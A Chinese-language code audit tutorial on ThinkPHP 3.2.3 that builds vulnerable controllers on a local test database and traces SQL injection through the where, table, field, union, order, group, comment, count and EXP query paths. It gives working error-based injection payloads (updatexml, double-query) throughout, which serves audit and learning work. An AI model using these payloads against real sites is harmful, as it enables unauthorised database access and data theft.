[代码审计]ThinkPHP3.2.3

代码审计之Thinkphp3.2.3

MVC讲解

MVC 和三层结构的认识

MVC 可以说是一种开发模式,三层结构是一种开发习惯,严格来讲,他们两者是完全不同的概念,但是在实际开发当中又有各种联系;

1
2
3
4
MVC  是一种将视图、控制、数据三者分开的一种开发模式;
M - Model 模型 工作:编写 model 类,负责数据的操作
V - View 视图(模板) 工作:编写 html 文件,负责前台页面显示
C - Controller 控制器 工作:编写类文件,IndexController.class.php

参考链接:https://www.cnblogs.com/diyunfei/p/6752618.html

环境搭建

下载地址
thinkphp3.2.3完全开发手册

phpstorm断点调试
phpstorm断点设置

Thinkphp核心文件介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ . 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件

创建数据库并连接

新建数据库
create database thinkphp3; use thinkphp3;

新建表
create table thinkphp_user (id int(8) AUTO_INCREMENT PRIMARY KEY,username varchar(255),password varchar(255));

插入数据
insert into thinkphp_user value(1,’admin’,’admin’);

1587617468272

然后连接数据库
在Application/Home/Conf/config.php里面配置,要配置的东西可以在Thinkphp/Conf/convention.php里面复制出来1587629422032
测试数据库是否连接成功,可以在Application/Home/Controller里面的indexcontroller.class.php里面添加

1
2
3
4
public function test(){
$data = M('user')->where('id=1')->select();
dump($data);
}

然后访问/index.php/home/index/test,如果输出数据库内容便说民连接成功
1587629874670

然后再在config.php里面添加一个'SHOW_PAGE_TRACE' => 'true'再次刷新后右下角便会出现调试信息
1587630115032

框架基础

URL访问

ThinkPHP采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:

1
2
3
4
第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index  入口文件/模块/控制器/操作(方法)
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index  传三个参数

而且访问时不需要区分大小写,无论URL是否开启大小写转换,模块名都会强制小写。

控制器

1.控制器的定义

thinkphp的控制器是一个类,而操作则是控制器类的一个公共方法下面就是一个典型的控制器类的定义:

1
2
3
4
5
6
7
8
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello(){
echo 'hello,thinkphp!';
}
}

Home\IndexController类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController类的hello(公共)方法。

当访问 http://serverName/index.php/Home/Index/hello 后会输出:

1
hello,thinkphp!

简单测试

1587632586503

实例化控制器

访问控制器的实例化通常是自动完成的,系统会根据URL地址解析出访问的控制器名称自动实例化,并且调用相关的操作方法。
如果需要跨控制器调用的话,则可以单独实例化:

1
2
3
4
// 实例化Home模块的User控制器
$User = new \Home\Controller\UserController();
// 实例化Admin模块的Blog控制器
$Blog = new \Admin\Controller\BlogController();

系统为上面的控制器实例化提供了一个快捷调用方法A,上面的代码可以简化为:

1
2
// 假设当前模块是Home模块
$User = A('User'); $Blog = A('Admin/Blog');

默认情况下,A方法实例化的是默认控制器层(Controller),如果你要实例化其他的分层控制器的话,可以使用:

1
2
3
4
// 假设当前模块是Home模块
// 实例化Event控制器
$User = A('User','Event');
$Blog = A('Admin/Blog','Event');

上面的代码等效于:

1
2
3
4
// 实例化Home模块的User事件控制器
$User = new \Home\Event\UserEvent();
// 实例化Admin模块的Blog事件控制器
$Blog = new \Admin\Event\BlogEvent();

实操(跨控制器调用):在indexcontroller()里面调用usercontroller()里面的get方法
先新建一个UserController.class.php

1
2
3
4
5
6
7
8
<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller {
public function index(){
echo '这是UserController里面的index方法';
}
}

然后再IndexController里面新建一个方法调用

1
2
3
4
public function getUserindex(){
$b = A('User'); //实例化UserController.class.php里面的UserController类
$b->index(); //调用UserController类里面的index方法
}

然后访问

thinkphp/index.php/Home/Index/getuserindex

1587634268134

除了A()方法可以调用之外,R()方法也可以调用,并且更加简单R(‘User/index’);即可

Action参数绑定

参数绑定是通过直接绑定URL地址中的变量作为操作方法的参数,可以简化方法的定义甚至路由的解析

1
'URL_PARAMS_BIND'       =>  true, // URL变量绑定到操作方法作为参数

参数绑定有两种方式:按照变量名绑定和按照变量顺序绑定。

按变量名绑定

默认的参数绑定方式是按照变量名进行绑定,例如,我们给Blog控制器定义了两个操作方法read和archive方法,由于read操作需要指定一个id参数,archive方法需要指定年份(year)和月份(month)两个参数,那么我们可以如下定义:

1
2
3
4
5
6
7
8
9
10
namespace Home\Controller;
use Think\Controller;
class BlogController extends Controller{
public function read($id){
echo 'id='.$id;
}
public function archive($year='2013',$month='01'){
echo 'year='.$year.'&month='.$month;
}
}

URL的访问地址分别是:

1
2
http://serverName/index.php/Home/Blog/read/id/5
http://serverName/index.php/Home/Blog/archive/year/2013/month/11

控制器插件

我们再home同级目录下创建Addon\SystemInfo\Controller目录,并且再创建一个info控制器

1
2
3
4
5
6
7
8
<?php
namespace Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller{
public function index(){
phpinfo();
}
}
?>

那么我们访问其inde方法的url地址为

http: / /127.0.0.1/thinkphp/index.php/home/info/index/addon/SystemInfo

1587636362189

SQL注入审计

常规注入

where注入

以字符串的方式将条件作为where()方法的参数时就会产生SQL注入。

1
2
$User = M("User"); // 实例化User对象
$User->where('type=1 AND status=1')->select();

最后生成的SQL语句是

1
SELECT * FROM think_user WHERE type=1 AND status=1

实例:
再indexcontroller.class.php中添加一个sql方法

1
2
3
4
5
public function sql(){
echo 'sql注入实例';
$a = M("User")->where('id='.I('id'))->find();
dump($a);
}

当输入?id=1的时候成功查询到数据,输入单引号时报错,使用小括号和–成功闭合,此时的SQL语句为

SELECT * FROM thinkphp_user WHERE ( id=1) – ) LIMIT 1

使用报错注入爆出数据库名1587653869748

分析
我们传入的id首先进入 I 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
//code
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
.//code
function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

在 I 方法中进行一次 htmlspecialchars 和 think_filter 的过滤处理后返回$data,之后再经过where方法处理返回options['where'],进入find方法,之后再find方法中又进入/ThinkPHP/Library/Think/Model.class.php调用了select方法。但是可以发现在think_filter过滤时为黑名单过滤 并且常见的updataxml()报错函数等没有过滤,所以可以进行报错注入。
1587957048476

在find方法中的id还是我们传入的1b
继续跟进,然后进入_parseOptions函数中进行表达式分析
1587957545707

之后进入到select()方法中

1587966558672

1
2
3
4
5
6
7
8
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false, !empty($options['master']) ? true : false);
return $result;
}

再进入到buildSelectSql()方法中

1
2
3
4
5
6
7
8
9
public function buildSelectSql($options = array())
{
if (isset($options['page'])) {
// 根据页数计算limit

}
$sql = $this->parseSql($this->selectSql, $options);
return $sql;//SELECT * FROM `user` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1
}

进入到parseSql()中,该方法主要用来利于前面获取的各字段信息,拼接SQL语句。
在此方法中,直接取出$options[‘table’]的值作为查询语句中的table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}

这里主要查看parseWhere方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }

最后跟进一下parseThinkwhere方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
case '_query':
// 字符串模式查询条件
parse_str($val,$where);
if(isset($where['_logic'])) {
$op = ' '.strtoupper($where['_logic']).' ';
unset($where['_logic']);
}else{
$op = ' AND ';
}
$array = array();
foreach ($where as $field=>$data)
$array[] = $this->parseKey($field).' = '.$this->parseValue($data);
$whereStr = implode($op,$array);
break;
}
return '( '.$whereStr.' )';
}

$key为_string,所以$whereStr为传入的参数的值,最后parserWhere方法返回(id=1p)
parseSql()中拼接时将$option[‘where’]作为了where部分,拼接后导致注入
返回最终的sql语句

SELECT * FROM thinkphp_user WHERE ( id=1 ) LIMIT 1

所以构造payload返回的SQL语句为

SELECT * FROM thinkphp_user WHERE ( id=1) and updatexml(1,concat(0x7e,database(),0x7e),1)– ) LIMIT 1

table注入

table方法也属于模型类的连贯操作方法之一,主要用于指定操作的数据表。

用法

一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,所以,使用table方法的情况通常是为了切换操作的数据表或者对多表进行操作;

例如:

1
$Model->table('think_user')->where('status>1')->select();

也可以在table方法中指定数据库,例如:

1
$Model->table('db_name.think_user')->where('status>1')->select();

table方法指定的数据表需要完整的表名,但可以采用下面的方式简化数据表前缀的传入,例如:

1
2
$Model->table('__USER__')->where('status>1')->select();
复制代码

会自动获取当前模型对应的数据表前缀来生成 think_user 数据表名称。

实例

再indexcontroller.class.php中添加一个sql_table方法

1
2
3
4
public function sql_table(){
echo 'sql注入实例';
M()->table(I('tab'))->where('1=1')->find();
}

当输入一个不存在的表时显示错误

1587952081549

当输入的表存在时返回正常,执行了

  1. SHOW COLUMNS FROM thinkphp_user [ RunTime:0.0016s ]
  2. SELECT * FROM thinkphp_user WHERE ( 1=1 ) LIMIT 1 [ RunTime:0.0045s ]

1587952107733

分析
传入?tab=qwe,当我们查询一个不存在的表时,首先进入了table方法

1
2
3
4
5
6
7
8
9
public function table($table) {
$prefix = $this->tablePrefix;
if(is_array($table)) {
$this->options['table'] = $table;
}elseif(!empty($table)) {
//将__TABLE_NAME__替换成带前缀的表名
$table = preg_replace_callback("/__([A-Z0-9_-]+)__/sU", function($match) use($prefix){ return $prefix.strtolower($match[1]);}, $table);
$this->options['table'] = $table;
}

1587952419329

之后进入where方法,但由于where为1=1恒成立,所以不用管。继续F7跟进,之后将语句组合后给query去查询

1587982883610

由于表不存在,所以查询错误,最终会进入error方法
1587984526886

当传入

tab=thinkphp_user where 1=1 and updatexml(1,concat(0x7e,version(),0x7e),1)%23

时,由于表存在,所以可以执行后面的语句,从而达到报错注入的目的

1587984645897

依然是传入的payload经过I()->table()->where()方法后进入find()方法。

1
2
3
4
5
6
7
8
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();

这里由于我们传入的$options为数组,所以绕过了第一个if判断

$pk的值是当前表的主键信息:

若当前表仅有一个主键,则$pk的值为string

若当前表有多个主键,这$pk的值是以数组的形式存在

当$pk为string类型时,会导致接下来的部分判断绕过;否则payload不生效

接下来的语句块是根据复合主键查询,因此处表为单主键,$pk为字符串类型,因此绕过判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存

接着进入到_parseOptions($options)
这里的$options可控,同时在payload中$options仅存在table字段,不存在where字段,可顺利通过函数验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
/*
* array_merge()将一个或多个数组合并成一个数组
* 本处$this->options为空
*/
}

if (!isset($options['table'])) {//option中无table下标时
// 自动获取表名
$options['table'] = $this->getTableName();//$option中添加 'table'=>'[表名]'
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' ' . $options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
/*
* is_scalar($var):检测变量是否是一个标量
* 标量变量是指那些包含了 integer、float、string 或 boolean的变量
*/
$this->_parseType($options['where'], $key);
}
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

然后进入到select()方法中

1
2
3
4
5
6
7
8
9
10
$resultSet = $this->db->select($options);
#select()方法体
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false, !empty($options['master']) ? true : false);
return $result;
}

再进入到select方法体中buildSelectSql()

1
2
3
4
5
6
7
8
9
public function buildSelectSql($options = array())
{
if (isset($options['page'])) {
// 根据页数计算limit

}
$sql = $this->parseSql($this->selectSql, $options);
return $sql;//SELECT * FROM `user` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1
}

进入到parseSql()中,该方法主要用来利于前面获取的各字段信息,拼接SQL语句。

在此方法中,直接取出$options[‘table’]的值作为查询语句中的table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}

最终返回

SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) and updatexml(1,concat(0x7e,version(),0x7e),1)%23 LIMIT 1

field注入

field方法操作表中的字段,限制查询返回的结果
M(‘user’)->field(array(‘id,username’))->select();

只要field方法里的参数可控,不管是字符串还是数组,都可以进行注入。
M(‘user’)->field(array(‘id,username’=>I(‘username’)))->select();

指定字段

在查询操作中field方法是使用最频繁的。

1
$Model->field('id,title,content')->select();

这里使用field方法指定了查询的结果集中包含id,title,content三个字段的值。执行的SQL相当于:

1
SELECT id,title,content FROM table

可以给某个字段设置别名,例如:

1
$Model->field('id,nickname as name')->select();

执行的SQL语句相当于:

1
SELECT id,nickname as name FROM table

使用SQL函数

可以在field方法中直接使用函数,例如:

1
$Model->field('id,SUM(score)')->select();

执行的SQL相当于:

1
SELECT id,SUM(score) FROM table

当然,除了select方法之外,所有的查询方法,包括find等都可以使用field方法,这里只是以select为例说明。

使用数组参数

field方法的参数可以支持数组,例如:

1
$Model->field(array('id','title','content'))->select();

最终执行的SQL和前面用字符串方式是等效的。

数组方式的定义可以为某些字段定义别名,例如:

1
$Model->field(array('id','nickname'=>'name'))->select();

执行的SQL相当于:

1
SELECT id,nickname as name FROM table

实例
在indexcontroller.class.php中添加一个field方法

1
2
3
public function field(){
M('User')->field(array('id','username'=>I('name')))->select();
}

传入name=uname时,SQL语句为
1588150608736

这里传入的name可控,所以可以进行注入
payload

1
?name=uname from thinkphp_user where 1=1 and updatexml(1,concat(0x7e,version(),0x7e),1)%23

1588150756344

此时的SQL语句为

1
SELECT `id`,`username` AS uname from thinkphp_user where 1=1 and updatexml(1,concat(0x7e,version(),0x7e),1)%23` FROM `thinkphp_user`

alias-union-join注入

ailas、join、union方法
1.alias用于设置当前数据表的别名,便于使用其他的连贯操作例如join方法等,与field方法相似。

示例:

1
2
$Model = M('User');
$Model->alias('a')->join('__DEPT__ b ON b.user_id= a.id')->select();

最终生成的SQL语句类似于:

1
SELECT * FROM think_user a INNER JOIN think_dept b ON b.user_id= a.id

2.JOIN方法也是连贯操作方法之一,用于根据两个或多个表中的列之间的关系,从这些表中查询数据

join通常有下面几种类型,不同类型的join操作会影响返回的数据结果。

  • INNER JOIN: 如果表中有至少一个匹配,则返回行,等同于 JOIN
  • LEFT JOIN: 即使右表中没有匹配,也从左表返回所有的行
  • RIGHT JOIN: 即使左表中没有匹配,也从右表返回所有的行
  • FULL JOIN: 只要其中一个表中存在匹配,就返回行

join方法可以支持以上四种类型,例如:

1
2
3
4
5
$Model = M('Artist');
$Model
->join('think_work ON think_artist.id = think_work.artist_id')
->join('think_card ON think_artist.card_id = think_card.id')
->select();

3.UNION操作用于合并两个或多个 SELECT 语句的结果集。
使用示例:

1
2
3
4
5
$Model->field('name')
->table('think_user_0')
->union('SELECT name FROM think_user_1')
->union('SELECT name FROM think_user_2')
->select();

数组用法:

1
2
3
4
5
$Model->field('name')
->table('think_user_0')
->union(array('field'=>'name','table'=>'think_user_1'))
->union(array('field'=>'name','table'=>'think_user_2'))
->select();

实例

1
2
3
4
public function field(){
//$Model = M('User');
$a=M('user')->field(I('id'))->union('select username from thinkphp_user')->select();
var_dump($a);

当传入id=1时SQL语句为

1
2
SHOW COLUMNS FROM `thinkphp_user`
SELECT 1 FROM `thinkphp_user` UNION select username from thinkphp_user

由于参数可控,所哟构造payload

1
id=1 from thinkphp_user where 1=1 and updatexml(1,concat(0x7e,version(),0x7e),1)%23

此时的SQL语句为

1
SELECT 1 from thinkphp_user where 1=1 and updatexml(1,concat(0x7e,version(),0x7e),1)%23FROM `thinkphp_user` UNION select username from thinkphp_user

从而造成注入
1588165126864

alias方法操作表的别名,和field方法类似,它一般和join方法成对出现,用于对数据的连贯操作。出现join和union方法的时候。只要能控制参数一般情况下都会产生注入。
代码审计时可以使用下面的正则查找

1
->(alias|join|union)\s*\((\$|\$_|I)

来进一步判断。

order-group-having

1.order方法属于模型的连贯操作方法之一,用于对操作的结果排序。

用法如下:

1
$Model->where('status=1')->order('id desc')->limit(5)->select();

注意:连贯操作方法没有顺序,可以在select方法调用之前随便改变调用顺序。
支持对多个字段的排序,例如:

1
$Model->where('status=1')->order('id desc,status')->limit(5)->select();

如果没有指定desc或者asc排序规则的话,默认为asc。

如果你的字段和mysql关键字有冲突,那么建议采用数组方式调用,例如:

1
$Model->where('status=1')->order(array('order','id'=>'desc'))->limit(5)->select();

2.GROUP方法也是连贯操作方法之一,通常用于结合合计函数,根据一个或多个列对结果集进行分组 。
group方法只有一个参数,并且只能使用字符串。
例如,我们都查询结果按照用户id进行分组统计:

1
$this->field('user_id,username,max(score)')->group('user_id')->select();

生成的SQL语句是:

1
SELECT user_id,username,max(score) FROM think_score GROUP BY user_id

也支持对多个字段进行分组,例如:

1
$this->field('user_id,test_time,username,max(score)')->group('user_id,test_time')->select();

生成的SQL语句是:

1
SELECT user_id,test_time,username,max(score) FROM think_score GROUP BY user_id,test_time

3.HAVING方法也是连贯操作之一,用于配合group方法完成从分组的结果中筛选(通常是聚合条件)数据。having方法只有一个参数,并且只能使用字符串,例如:

1
$this->field('username,max(score)')->group('user_id')->having('count(test_time)>3')->select();

生成的SQL语句是:

1
SELECT username,max(score) FROM think_score GROUP BY user_id HAVING count(test_time)>3

实例order:

1
M('User')->where('1=1')->order(array('id'=>I('id')))->select();

则构造如下语句,这里要使用双查询注入:

1
?id=,(select 1 from (select count(*),concat_ws('_',(select version()),floor(rand()*2))as a from information_schema.tables group by a) b)

生成sql语句如下:

1
SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` ,(select 1 from (select count(*),concat_ws('_',(select version()),floor(rand()*2))as a from information_schema.tables group by a) b)

1588214714395

实例group

1
2
$data=M('User')->field('max(id),username')->group(I('score'))->select();  
dump($data);

注入方法与order方法一样,当group的参数可控时,便可进行注入
payload:

1
?score=2,(select 1 from (select count(*),concat_ws('_',(select version()),floor(rand()*2))as a from information_schema.tables group by a) b)

实例having

同上
当having的参数可控时,便可进行注入。

1
2
3
4
5
6
$data=M('User')
->field('max(id),username')
->group(I('group'))
->having(I('having'))
->select();
dump($data);

传入

1
?group=id,(select 1 from (select count(*),concat_ws('_',(select version()),floor(rand()*2))as a from information_schema.tables group by a) b)

最终sql

1
SELECT max(id),`username` FROM `thinkphp_user` GROUP BY id,(select 1 from (select count(*),concat_ws('_',(select version()),floor(rand()*2))as a from information_schema.tables group by a) b)SELECT max(id),`username` FROM `thinkphp_user` GROUP BY id

1588219225919

comment方法

comment
COMMENT方法 用于在生成的SQL语句中添加注释内容,例如:

1
2
3
4
5
$this->comment('aaaaa')
->field('username,score')
->limit(10)
->order('score desc')
->select();

最终生成的SQL语句是:

1
SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* aaaaa*/

1588473496097

实例:
当comment的参数可控时,便存在漏洞。代码如下:

1
M('User')->where('1=1')->comment(I('com'))->select();

构造语句如下:

1
?com=aaa*/ and 1=updatexml(1,concat(0x7e,version(),0x7e),1)%23

生成sql语句如下:

1
SELECT * FROM `thinkphp_user` WHERE ( 1=1 )  /* aaa*/ and 1=updatexml(1,concat(0x7e,version(),0x7e),1)# */

1588473704606

query/execute/聚合方法

query方法用于执行SQL查询操作,如果数据非法或者查询错误则返回false,否则返回查询结果数据集(同select方法)。

使用示例:

1
2
$Model = new user() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from thinkphp_user where status=1");

实例化一个空模型后,使用query方法查询数据
$data = M()->query(‘select * from thinkphp_user’);

dump($data);

EXECUTE方法

execute用于更新和写入数据的sql操作,如果数据非法或者查询错误则返回false ,否则返回影响的记录数。

使用示例:

1
2
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->execute("update think_user set name='thinkPHP' where status=1");

M()->execute(“update thinkphp_user set username=’user’ where id=1”);

聚合方法
count,max,avg,sum,min这五个方法的注入场景类似

1
2
3
$data = M('user')->count(I('count'));

dump($data);

传入
count=*
生成的sql语句为

1
2
SHOW COLUMNS FROM `thinkphp_user` [ RunTime:0.0014s ]
SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 [ RunTime:0.0003s ]

1588478044142

payload:

1
username) as tp_count FROM `thinkphp_user` where 1=1 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

1588478110812

此时的SQL语句为

1
SELECT COUNT(username) as tp_count FROM `thinkphp_user` where 1=1 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

成实现注入

EXP注入

EXP:表达式

支持更复杂的查询情况 例如:

1
$map['id']  = array('in','1,3,8');

可以改成:

1
$map['id']  = array('exp',' IN (1,3,8) ');

exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新,例如:

1
2
3
4
5
$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用户的积分加1
$User->where('id=5')->save($data); // 根据条件保存修改的数据

实例

1
2
3
4
$map=array();  
$map['id']=$_GET['id'];
$data=M('User')->where($map)->find();
dump($data);

传入id=1,此时的SQL语句为

  1. SHOW COLUMNS FROM thinkphp_user [ RunTime:0.0013s ]
  2. SELECT * FROM thinkphp_user WHERE id = 1 LIMIT 1 [ RunTime:0.0007s ]

1588583393508

当传入参数可控且无过滤时,构造如下payload:

1
?id[0]=exp&id[1]==1%20and%201=updatexml(1,concat (0x7e,(SELECT%20@@version),0x7e),1)%23

1588583716549

此时的SQL语句为

1
SELECT * FROM `thinkphp_user` WHERE `id` =1 and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# LIMIT 1

修复方法:使用官方推荐的I()方法传入参数就可以很好地过滤传入的参数,修复此漏洞。

断点调试

1588584159093

跟到ThinkPHP\Library\Think\Model.class.phpselect函数

1588584224824

再跟到select函数中,再进入buildSelectSql函数中
1588584294380

之后进入到parseSql函数中

1588584411090

继续F7进入,直到进入parseWhereItem函数
1588584737080

$exp的值是$val[0]的值,也就是poc中的exp,经过判断以后,直接吧$key和$val[1]进行了字符串拼接

1588584841471

val值就是我们刚才传入进来的值,拼接以后变成

id =1 and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# LIMIT 1

最终导致注入

Action参数绑定注入

一般审计的时候先查找I方法或者$_GET、$_POST等原生态的请求,从而忽略掉action参数传入的变量

例如:

1
2
3
4
5
6
public function getUser(){
$data = M('user')->field('username')
->where($id)
->select();
dump($data);
}

如果带人到where方法里,表示以字符的形式查询,也就造成了注入。
案例:

1
2
3
4
5
6
7
public function getUser($id)
{
if (intval($id) >= 1) {
$data = M('User')->where('id=' . $id)->select();
dump($data);
}
}

如上代码中使用$_GET方式获取参数,但未进行过滤操作,导致存在注入漏洞。
构造如下语句,便可进行注入:

1
?id=1) and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23

最后生成的sql语句如下:

1
SELECT * FROM `thinkphp_user` WHERE ( id=1) and 1=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# )

可以使用如下正则去查找是否存在此漏洞:

1
public\s+function\s+[\w_*]+\(\$

组合注入

组合查询主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string)、请求字符串查询(_query)

*_string 注入 *

字符串模式查询

数组条件可以和字符串条件(采用_string 作为查询条件)混合使用,例如:

1
2
3
4
5
$User = M("User"); // 实例化User对象
$map['id'] = array('neq',1);
$map['name'] = 'ok';
$map['_string'] = 'status=1 AND score>10';
$User->where($map)->select();

最后得到的查询条件就成了:

1
( `id` != 1 ) AND ( `name` = 'ok' ) AND ( status=1 AND score>10 )

_query注入

请求字符串查询方式

请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断。

1
2
$map['id'] = array('gt','100');
